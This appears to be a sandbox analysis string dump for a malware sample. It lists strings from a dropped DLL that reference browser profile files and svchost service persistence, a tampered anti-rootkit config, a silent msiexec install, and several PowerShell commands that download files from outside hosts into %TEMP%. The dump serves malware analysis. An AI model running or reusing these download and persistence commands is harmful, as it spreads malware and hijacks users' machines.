Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@_W$00@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@_W$0A@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@D$00@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@D$0A@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@G$00@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@G$0A@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$numpunct@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$numpunct@D@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$numpunct@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV__non_rtti_object@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV_com_error@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVbad_function_call@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVbad_typeid@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVcharNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVDefaultValueAllocator@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVDNameNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVDNameStatusNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVFastWriter@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVinvalid_argument@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVoverflow_error@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVpairNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVpcharNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVpDNameNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVregex_error@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVStyledWriter@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVValueAllocator@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVWriter@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
0123456789-
Ansi based on Dropped File (kokoko.dll.2691425955)
0123456789-+Ee
Ansi based on Dropped File (kokoko.dll.2691425955)
0123456789ABCDEFabcdef-+Xx
Ansi based on Dropped File (kokoko.dll.2691425955)
0123456789ABCDEFabcdef-+XxPp
Ansi based on Dropped File (kokoko.dll.2691425955)
4x%04x\OriginalFilename
Unicode based on Dropped File (kokoko.dll.2691425955)
:AM:am:PM:pm
Ansi based on Dropped File (kokoko.dll.2691425955)
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December
Ansi based on Dropped File (kokoko.dll.2691425955)
:Sep:September:Oct:October:Nov:November:Dec:December
Unicode based on Dropped File (kokoko.dll.2691425955)
:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
Unicode based on Dropped File (kokoko.dll.2691425955)
<?xml version='1.0' encoding='UTF-8' standalone='yes'?><assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo></assembly>
Ansi based on Dropped File (kokoko.dll.2691425955)
<ellipsis>
Ansi based on Dropped File (kokoko.dll.2691425955)
<unknown>
Ansi based on Dropped File (kokoko.dll.2691425955)
[thunk]:
Ansi based on Dropped File (kokoko.dll.2691425955)
\Google\Chrome\User Data\
Unicode based on Dropped File (kokoko.dll.2691425955)
\Mozilla\Firefox\
Unicode based on Dropped File (kokoko.dll.2691425955)
\Preferences
Unicode based on Dropped File (kokoko.dll.2691425955)
\prefs.js
Unicode based on Dropped File (kokoko.dll.2691425955)
\StringFileInfo\%04x%04x\OriginalFilename
Unicode based on Dropped File (kokoko.dll.2691425955)
\VarFileInfo\Translation
Unicode based on Dropped File (kokoko.dll.2691425955)
__int128
Ansi based on Dropped File (kokoko.dll.2691425955)
__int16
Ansi based on Dropped File (kokoko.dll.2691425955)
__int32
Ansi based on Dropped File (kokoko.dll.2691425955)
__int64
Ansi based on Dropped File (kokoko.dll.2691425955)
__int8
Ansi based on Dropped File (kokoko.dll.2691425955)
__w64
Ansi based on Dropped File (kokoko.dll.2691425955)
`adjustor{
Ansi based on Dropped File (kokoko.dll.2691425955)
`anonymous namespace'
Ansi based on Dropped File (kokoko.dll.2691425955)
`local static destructor helper'
Ansi based on Dropped File (kokoko.dll.2691425955)
`non-type-template-parameter
Ansi based on Dropped File (kokoko.dll.2691425955)
`template static data member constructor helper'
Ansi based on Dropped File (kokoko.dll.2691425955)
`template static data member destructor helper'
Ansi based on Dropped File (kokoko.dll.2691425955)
`template-parameter
Ansi based on Dropped File (kokoko.dll.2691425955)
`unknown ecsu'
Ansi based on Dropped File (kokoko.dll.2691425955)
`vtordispex{
Ansi based on Dropped File (kokoko.dll.2691425955)
`vtordisp{
Ansi based on Dropped File (kokoko.dll.2691425955)
A0123456789abcdefghijklmnopqrstuvwxyz
Ansi based on Dropped File (kokoko.dll.2691425955)
ADVAPI32.DLL
Unicode based on Dropped File (kokoko.dll.2691425955)
AGetVolumeInforma
Ansi based on Dropped File (kokoko.dll.2691425955)
alnum
Unicode based on Dropped File (kokoko.dll.2691425955)
alpha
Ansi based on Dropped File (kokoko.dll.2691425955)
am/pm
Unicode based on Dropped File (kokoko.dll.2691425955)
bad function call
Ansi based on Dropped File (kokoko.dll.2691425955)
BeginPaint
Ansi based on Dropped File (kokoko.dll.2691425955)
blank
Unicode based on Dropped File (kokoko.dll.2691425955)
%WINDIR%\system32\svchost.exe -k %s%s
Unicode based on Dropped File (kokoko.dll.2691425955)
ceIoControl
Ansi based on Dropped File (kokoko.dll.2691425955)
ChangeServiceConfig2W
Ansi based on Dropped File (kokoko.dll.2691425955)
class
Ansi based on Dropped File (kokoko.dll.2691425955)
cli::array<
Ansi based on Dropped File (kokoko.dll.2691425955)
cli::pin_ptr<
Ansi based on Dropped File (kokoko.dll.2691425955)
CloseServiceHandle
Ansi based on Dropped File (kokoko.dll.2691425955)
cntrl
Ansi based on Dropped File (kokoko.dll.2691425955)
coclass
Ansi based on Dropped File (kokoko.dll.2691425955)
CoCreateInstance
Ansi based on Dropped File (kokoko.dll.2691425955)
cointerface
Ansi based on Dropped File (kokoko.dll.2691425955)
CompanyName
Unicode based on Dropped File (kokoko.dll.2691425955)
CompareStringW
Ansi based on Dropped File (kokoko.dll.2691425955)
const
Ansi based on Dropped File (kokoko.dll.2691425955)
ControlService
Ansi based on Dropped File (kokoko.dll.2691425955)
CoSetProxyBlanket
Ansi based on Dropped File (kokoko.dll.2691425955)
CreateEventW
Ansi based on Dropped File (kokoko.dll.2691425955)
CreateSemaphoreW
Ansi based on Dropped File (kokoko.dll.2691425955)
CreateServiceW
Ansi based on Dropped File (kokoko.dll.2691425955)
CreateThread
Ansi based on Dropped File (kokoko.dll.2691425955)
CreateWindowExW
Ansi based on Dropped File (kokoko.dll.2691425955)
Default
Ansi based on Dropped File (kokoko.dll.2691425955)
DefWindowProcW
Ansi based on Dropped File (kokoko.dll.2691425955)
DeleteService
Ansi based on Dropped File (kokoko.dll.2691425955)
DestroyWindow
Ansi based on Dropped File (kokoko.dll.2691425955)
DialogBoxParamW
Ansi based on Dropped File (kokoko.dll.2691425955)
digit
Unicode based on Dropped File (kokoko.dll.2691425955)
DispatchMessageW
Ansi based on Dropped File (kokoko.dll.2691425955)
double
Ansi based on Dropped File (kokoko.dll.2691425955)
ecutablePath
Unicode based on Dropped File (kokoko.dll.2691425955)
ef-+XxPp
Ansi based on Dropped File (kokoko.dll.2691425955)
enabled
Ansi based on Dropped File (kokoko.dll.2691425955)
EndDialog
Ansi based on Dropped File (kokoko.dll.2691425955)
EndPaint
Ansi based on Dropped File (kokoko.dll.2691425955)
erviceStatus
Ansi based on Dropped File (kokoko.dll.2691425955)
ExecutablePath
Unicode based on Dropped File (kokoko.dll.2691425955)
extern "C"
Ansi based on Dropped File (kokoko.dll.2691425955)
FatalAppExitA
Ansi based on Dropped File (kokoko.dll.2691425955)
FileDescription
Unicode based on Dropped File (kokoko.dll.2691425955)
FileInfo\Translation
Unicode based on Dropped File (kokoko.dll.2691425955)
firefox.exe
Unicode based on Dropped File (kokoko.dll.2691425955)
float
Ansi based on Dropped File (kokoko.dll.2691425955)
FTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
Unicode based on Dropped File (kokoko.dll.2691425955)
generic
Ansi based on Dropped File (kokoko.dll.2691425955)
generic-type-
Ansi based on Dropped File (kokoko.dll.2691425955)
GetCurrentThread
Ansi based on Dropped File (kokoko.dll.2691425955)
GetDateFormatW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetFileVersionInfoSizeW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetFileVersionInfoW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetLongPathNameW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetMessageW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetPrivateProfileStringW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetTickCount
Ansi based on Dropped File (kokoko.dll.2691425955)
GetTimeFormatW
Ansi based on Dropped File (kokoko.dll.2691425955)
GetTimeZoneInformation
Ansi based on Dropped File (kokoko.dll.2691425955)
graph
Ansi based on Dropped File (kokoko.dll.2691425955)
hell.exe
Unicode based on Dropped File (kokoko.dll.2691425955)
illa\Firefox\
Unicode based on Dropped File (kokoko.dll.2691425955)
integer out of signed integer range
Ansi based on Dropped File (kokoko.dll.2691425955)
Kitty
Unicode based on Dropped File (kokoko.dll.2691425955)
Kitty.dll
Unicode based on Dropped File (kokoko.dll.2691425955)
Local State
Unicode based on Dropped File (kokoko.dll.2691425955)
lower
Unicode based on Dropped File (kokoko.dll.2691425955)
lstrlenW
Ansi based on Dropped File (kokoko.dll.2691425955)
M(knN
Ansi based on Dropped File (kokoko.dll.2691425955)
Negative integer can not be converted to unsigned integer
Ansi based on Dropped File (kokoko.dll.2691425955)
ofile0
Unicode based on Dropped File (kokoko.dll.2691425955)
OLEAUT32.dll
Ansi based on Dropped File (kokoko.dll.2691425955)
OpenSCManagerW
Ansi based on Dropped File (kokoko.dll.2691425955)
OpenServiceW
Ansi based on Dropped File (kokoko.dll.2691425955)
OriginalFilename
Unicode based on Dropped File (kokoko.dll.2691425955)
Parameters
Unicode based on Dropped File (kokoko.dll.2691425955)
PathRemoveFileSpecW
Ansi based on Dropped File (kokoko.dll.2691425955)
PostQuitMessage
Ansi based on Dropped File (kokoko.dll.2691425955)
print
Ansi based on Dropped File (kokoko.dll.2691425955)
private:
Ansi based on Dropped File (kokoko.dll.2691425955)
ProcessID
Unicode based on Dropped File (kokoko.dll.2691425955)
Profile0
Unicode based on Dropped File (kokoko.dll.2691425955)
profiles.ini
Unicode based on Dropped File (kokoko.dll.2691425955)
protected:
Ansi based on Dropped File (kokoko.dll.2691425955)
public:
Ansi based on Dropped File (kokoko.dll.2691425955)
punct
Unicode based on Dropped File (kokoko.dll.2691425955)
raB3G
Ansi based on Dropped File (kokoko.dll.2691425955)
Real out of signed integer range
Ansi based on Dropped File (kokoko.dll.2691425955)
Real out of unsigned integer range
Ansi based on Dropped File (kokoko.dll.2691425955)
RegCreateKeyExW
Ansi based on Dropped File (kokoko.dll.2691425955)
RegCreateKeyW
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_backref): The expression contained an invalid back reference.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_badbrace): The expression contained an invalid range in a { expression }.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_badrepeat): One of *?+{ was not preceded by a valid regular expression.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_brace): The expression contained mismatched { and }.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_brack): The expression contained mismatched [ and ].
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_collate): The expression contained an invalid collating element name.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_complexity): The complexity of an attempted match against a regular expression exceeded a pre-set level.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_ctype): The expression contained an invalid character class name.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_escape): The expression contained an invalid escaped character, or a trailing escape.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_paren): The expression contained mismatched ( and ).
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_parse)
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_range): The expression contained an invalid character range, such as [b-a] in most encodings.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_space): There was insufficient memory to convert the expression into a finite state machine.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_stack): There was insufficient memory to determine whether the regular expression could match the specified character sequence.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_syntax)
Ansi based on Dropped File (kokoko.dll.2691425955)
RegisterClassExW
Ansi based on Dropped File (kokoko.dll.2691425955)
RegisterServiceCtrlHandlerW
Ansi based on Dropped File (kokoko.dll.2691425955)
RegSetValueExW
Ansi based on Dropped File (kokoko.dll.2691425955)
rFileInfo
Unicode based on Dropped File (kokoko.dll.2691425955)
rgetInstance
Unicode based on Dropped File (kokoko.dll.2691425955)
ROOT\CIMV2
Unicode based on Dropped File (kokoko.dll.2691425955)
safebrowsing
Ansi based on Dropped File (kokoko.dll.2691425955)
ServiceMain
Ansi based on Dropped File (kokoko.dll.2691425955)
SetConsoleCtrlHandler
Ansi based on Dropped File (kokoko.dll.2691425955)
SetEnvironmentVariableA
Ansi based on Dropped File (kokoko.dll.2691425955)
SetServiceStatus
Ansi based on Dropped File (kokoko.dll.2691425955)
SFWR\cenht
Ansi based on Dropped File (kokoko.dll.2691425955)
SHGetPathFromIDListW
Ansi based on Dropped File (kokoko.dll.2691425955)
SHGetSpecialFolderLocation
Ansi based on Dropped File (kokoko.dll.2691425955)
short
Ansi based on Dropped File (kokoko.dll.2691425955)
ShowWindow
Ansi based on Dropped File (kokoko.dll.2691425955)
signed
Ansi based on Dropped File (kokoko.dll.2691425955)
slation
Unicode based on Dropped File (kokoko.dll.2691425955)
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
Unicode based on Dropped File (kokoko.dll.2691425955)
SOFTWARE\{84416237-6490-494D-9AD6-4994DD978971}
Unicode based on Dropped File (kokoko.dll.2691425955)
space
Ansi based on Dropped File (kokoko.dll.2691425955)
/i "C:\winsap_update\Snarer.msi" /qn
Ansi based on Process Commandline (msiexec.exe)
;A if you set, means the hot key is Ctrl + Alt + A.
Ansi based on Dropped File (pc64.cfg)
;By default,it is enabled.In other cases,it will be disabled to reduce the rate of false positives.
Ansi based on Dropped File (pc64.cfg)
;By Default,it is enabled.You can turn it off by setting the value to zero.
Ansi based on Dropped File (pc64.cfg)
;By default,the value is 3(0x01 | 0x02 ---> ssdt | shadow ssdt).If it is set to 0,self-protection is disabled.
Ansi based on Dropped File (pc64.cfg)
;For example, if PC Hunter Standard is named KillVirusTool.exe, you must rename the config file as KillVirusTool.cfg.
Ansi based on Dropped File (pc64.cfg)
;The name of this file should be in accordance with that of PC Hunter Standard which you may have renamed otherwise.
Ansi based on Dropped File (pc64.cfg)
;This field allows you to determine whether PC Hunter Standard will scan suspicious object(e.g. pe image and driver object) or not when it enums kernel modules.
Ansi based on Dropped File (pc64.cfg)
;This field allows you to disable PC Hunter Standard's self-protection.
Ansi based on Dropped File (pc64.cfg)
;This field determines if PC Hunter Standard will check injected thread on startup.
Ansi based on Dropped File (pc64.cfg)
;This field determines the title name of the mainly window.
Ansi based on Dropped File (pc64.cfg)
;This field determines whether checking updates when starting the PC Hunter Standard.
Ansi based on Dropped File (pc64.cfg)
;This field determines whether minimized to tray when clicking close button of PC Hunter Standard.
Ansi based on Dropped File (pc64.cfg)
;This field determines whether the hot key of showing PC Hunter Standard main window.
Ansi based on Dropped File (pc64.cfg)
;This field determines whether the window of PC Hunter Standard is topmost or not.
Ansi based on Dropped File (pc64.cfg)
;This field is used to determine the method for enumerating files.
Ansi based on Dropped File (pc64.cfg)
;This is configuration file for PC Hunter Standard.
Ansi based on Dropped File (pc64.cfg)
;This is configuration file for PC Hunter Standard.;The name of this file should be in accordance with that of PC Hunter Standard which you may have renamed otherwise.;For example, if PC Hunter Standard is named KillVirusTool.exe, you must rename the config file as KillVirusTool.cfg.;Written by Epoolsoft Corporation, Jan 18,2013.;This field allows you to disable PC Hunter Standard's self-protection.;By default,the value is 3(0x01 | 0x02 ---> ssdt | shadow ssdt).If it is set to 0,self-protection is disabled.SelfProtection = 3;This field determines whether the window of PC Hunter Standard is topmost or not.;Zero means the window is non-topmost, elsewise it is set to be topmost.StayOnTop = 0;This field determines whether minimized to tray when clicking close button of PC Hunter Standard.;Zero means non-minimized to tray, elsewise it will minimize to tray.MinimizeToTray = 0;This field determines whether the hot key of showing PC Hunter Standard main window.;A if you set, means the hot key is Ctrl + Alt + A.ShowMainWindowHotKey = P;This field determines whether checking updates when starting the PC Hunter Standard.;Zero means don't check updates, elsewise it will check updates.AutoCheckNewVersion = 0;This field is used to determine the method for enumerating files.;Zero means PC Hunter Standard enumerates files by kernel driver only.In other cases, PC Hunter Standard will use strengthened "disk analysis" method.OpenPhysicalDiskAnalysis = 0;This field determines if PC Hunter Standard will check injected thread on startup.;By Default,it is enabled.You can turn it off by setting the value to zero. CheckInjectThread = 0;This field allows you to determine whether PC Hunter Standard will scan suspicious object(e.g. pe image and driver object) or not when it enums kernel modules.;By default,it is enabled.In other cases,it will be disabled to reduce the rate of false positives.ScanSuspiciousObject = 0;This field determines the title name of the mainly window.TitleName = Berserker;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\OpenHomePage\Command;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\OpenHomePage\Command;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\OpenHomePage\Command;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\OpenHomePage\Command;AddRegPath = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft;AddRegPath = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\Scripts;AddRegPath = HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System\Scripts
Ansi based on Dropped File (pc64.cfg)
;Written by Epoolsoft Corporation, Jan 18,2013.
Ansi based on Dropped File (pc64.cfg)
;Zero means don't check updates, elsewise it will check updates.
Ansi based on Dropped File (pc64.cfg)
;Zero means non-minimized to tray, elsewise it will minimize to tray.
Ansi based on Dropped File (pc64.cfg)
;Zero means PC Hunter Standard enumerates files by kernel driver only.In other cases, PC Hunter Standard will use strengthened "disk analysis" method.
Ansi based on Dropped File (pc64.cfg)
;Zero means the window is non-topmost, elsewise it is set to be topmost.
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\Scripts
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System\Scripts
Ansi based on Dropped File (pc64.cfg)
AutoCheckNewVersion = 0
Ansi based on Dropped File (pc64.cfg)
CheckInjectThread = 0
Ansi based on Dropped File (pc64.cfg)
MinimizeToTray = 0
Ansi based on Dropped File (pc64.cfg)
OpenPhysicalDiskAnalysis = 0
Ansi based on Dropped File (pc64.cfg)
ScanSuspiciousObject = 0
Ansi based on Dropped File (pc64.cfg)
SelfProtection = 3
Ansi based on Dropped File (pc64.cfg)
ShowMainWindowHotKey = P
Ansi based on Dropped File (pc64.cfg)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish','%TEMP%\csp8203.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=CPK.install.finish','%TEMP%\csp379D.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=GubedZL.install.finish','%TEMP%\csp508D.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=mio.install.finish','%TEMP%\csp4104.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=psgo.install.finish','%TEMP%\csp3939.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=QQBrowser.install.finish','%TEMP%\csp4693.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=UUUCC.install.finish','%TEMP%\csp3CB5.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish','%TEMP%\csp8E4D.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish','%TEMP%\cspB165.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mid.3','%TEMP%\csw3C06.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.1','%TEMP%\cswD966.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.4','%TEMP%\csw263B.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.install.true','33')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.startload','11')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://dfrs12kz9qye2.cloudfront.net//v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1','%TEMP%\ucD52C.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1','%TEMP%\psg11ED.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14','%TEMP%\psgD63A.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.3','%TEMP%\psg1B52.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4','%TEMP%\psg256B.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6','%TEMP%\psg36A2.tmp')
Ansi based on Process Commandline (powershell.exe)
id.3','%TEMP%\csw3C06.tmp')
Unicode based on Runtime Data (powershell.exe )
+ $client = new-object System.Net.WebClient;$client.DownloadFile <<<< ('http://
Unicode based on Runtime Data (powershell.exe )
At line:1 char:63
Unicode based on Runtime Data (powershell.exe )
d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&
Unicode based on Runtime Data (powershell.exe )
Exception calling "DownloadFile" with "2" argument(s): "The operation has timed
Unicode based on Runtime Data (powershell.exe )
reqs=visit.cpk.install.true','33')
Unicode based on Runtime Data (powershell.exe )
%TEMP%\psg36A2.tmp')
Unicode based on Runtime Data (powershell.exe )
raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6','
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=Q
Unicode based on Runtime Data (powershell.exe )
QBrowser.install.finish','%TEMP%\csp4693.tmp')
Unicode based on Runtime Data (powershell.exe )
PK.install.finish','%TEMP%\csp379D.tmp')
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=U
Unicode based on Runtime Data (powershell.exe )
